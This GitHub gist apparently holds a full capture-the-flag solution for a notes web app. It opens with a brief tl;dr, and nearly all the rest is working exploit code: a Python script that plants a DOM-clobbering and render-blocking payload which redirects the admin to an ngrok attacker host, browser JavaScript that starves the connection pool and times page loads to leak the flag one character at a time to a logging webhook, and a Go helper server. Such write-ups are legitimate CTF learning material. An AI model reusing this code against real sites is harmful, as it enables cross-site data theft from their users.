Skip to content

Instantly share code, notes, and snippets.

@RohitNarayananM
Last active February 26, 2024 00:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save RohitNarayananM/e2aea9672ae5ab2724a4097b4c855872 to your computer and use it in GitHub Desktop.
Save RohitNarayananM/e2aea9672ae5ab2724a4097b4c855872 to your computer and use it in GitHub Desktop.
കുട്ടി Notes Solution

tl;dr

  • DOM Clobbering to redirect to attacker site
  • Increasing Content using SQL Injection giving the same column multiple times
  • Connection-Pool XS-Leaks to measure the time for the page to load
  • Leak the flag character by character using above techniques
import requests
url = "http://localhost:8000"
redirect_url = "/617d-103-149-159-222.ngrok-free.app"
s = requests.Session()
s.post(url + "/register", data={"username": redirect_url, "password": "password"})
s.post(url + "/login", data={"username": redirect_url, "password": "password"})
s.post(
url + "/create",
data={
"title": "Title",
"content": """<iframe name=rows srcdoc=" <iframe name=rows srcdoc=&quot; <a id='author' href='//admin:a@me.com'></a> &quot;></iframe> "></iframe></p>"""
+ """<link rel="stylesheet" blocking="render" href="/css/bootstrap.min.css">
<link rel="stylesheet" blocking="render" href="/css/bootstrap-icons.css">
<link rel="stylesheet" blocking="render" href="/css/home.css">
<link rel="stylesheet" blocking="render" href="/css/posts.css">
<link rel="stylesheet" blocking="render" href="/css/search.css">"""
* 100
+ """<script type="text/plain">""",
},
)
uid = s.get(url + "/posts").text
uid = uid[uid.index('a href="/post/') :][14:50]
print(uid)
s.post(url + "/verify", data={"id": uid})
<script>
const SLEEPSERVER = "localhost";
const ATTACKSERVER = "http://localhost:8000";
const WEBHOOK = "/log";
const alphabet = "0123456789abcdef";
let known = "bi0sctf_";
const URL = `${ATTACKSERVER}/search?${Array.from(Array(900)).map((e, i) => `f=content&`).join("")}&f[k]=content&q=`;
const sleep = (ms) => {
return new Promise((resolve) => setTimeout(resolve, ms));
};
const log = async (id, data) => {
return new Promise((resolve) => {
let payload = JSON.stringify({ known, alphabet, data });
console.log(id, payload);
fetch(WEBHOOK + "?" + id + "=" + payload, {
mode: "no-cors",
cache: "no-store",
}).then(resolve);
});
};
const blockAll = async (controller) => {
const SOCKET_LIMIT = 255;
const SLEEP_SERVER = (i) =>
`http://${SLEEPSERVER}:` + (28000 + i) + "/sleep";
const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), {
mode: "no-cors",
cache: "no-store",
signal: controller.signal,
});
} catch (err) { }
};
for (let i = 1; i <= SOCKET_LIMIT; i++) {
block(i, controller);
}
};
const leak = async (payload, count = 3) => {
let leakURL = URL + payload;
let deltas = [];
let ws = [];
for (let i = 0; i < count; i++) {
let start = performance.now();
ws.push(window.open(leakURL));
await Promise.all([
fetch("/log?try=" + payload + " " + deltas, { mode: "no-cors", cache: "no-store" }),
fetch("/log?", { mode: "no-cors", cache: "no-store" }),
fetch("/log?", { mode: "no-cors", cache: "no-store" }),
fetch("/log?", { mode: "no-cors", cache: "no-store" }),
fetch("/log?", { mode: "no-cors", cache: "no-store" }),
]);
let delta = performance.now() - start;
document.title = delta;
deltas.push(delta);
}
ws.forEach((w) => w.close());
return deltas;
};
const caliberate = async () => {
var minim = await leak("abcde", 5);
minim = minim.reduce((a, v) => a + v, 0) / minim.length;
var maxim = await leak("bi0sctf_", 5);
maxim = maxim.reduce((a, v) => a + v, 0) / maxim.length;
avg_time = (maxim + minim) / 2;
await log("caliberate", { avg_time, minim, maxim });
return avg_time;
};
const pwn = async () => {
const controller = new AbortController();
await blockAll(controller);
//await window.open(URL + '', 'pwn');
await sleep(500);
var avg_time = await caliberate();
await sleep(1000);
for (let i = 0; i < 10; i++) {
for (let j = 0; j < alphabet.length; j++) {
let deltas = await leak(known + alphabet[j]);
let avg = deltas.reduce((a, v) => a + v, 0) / deltas.length;
if (avg > avg_time) {
console.log(known + alphabet[j]);
known += alphabet[j];
break;
}
}
};
await log("flag", known);
controller.abort();
};
window.onload = async () => {
await log("start", "start");
pwn();
};
</script>
package main
import (
"log"
"net/http"
"strconv"
"time"
)
const (
SERVER_IP = ""
)
func logReq(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query()
for key, value := range query {
log.Printf("%s: %s\n", key, value)
}
w.Write([]byte("OK"))
}
func block(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
http.ServeFile(w, r, "index.html")
}
func sleep(w http.ResponseWriter, r *http.Request) {
time.Sleep(24 * time.Hour * 365)
}
func handleRequests() {
http.HandleFunc("/block", block)
http.HandleFunc("/sleep", sleep)
http.HandleFunc("/log", logReq)
for i := 1; i <= 256; i++ {
go http.ListenAndServe(":"+strconv.Itoa(28000+i), nil)
}
log.Fatal(http.ListenAndServe(":28000", nil))
}
func main() {
handleRequests()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment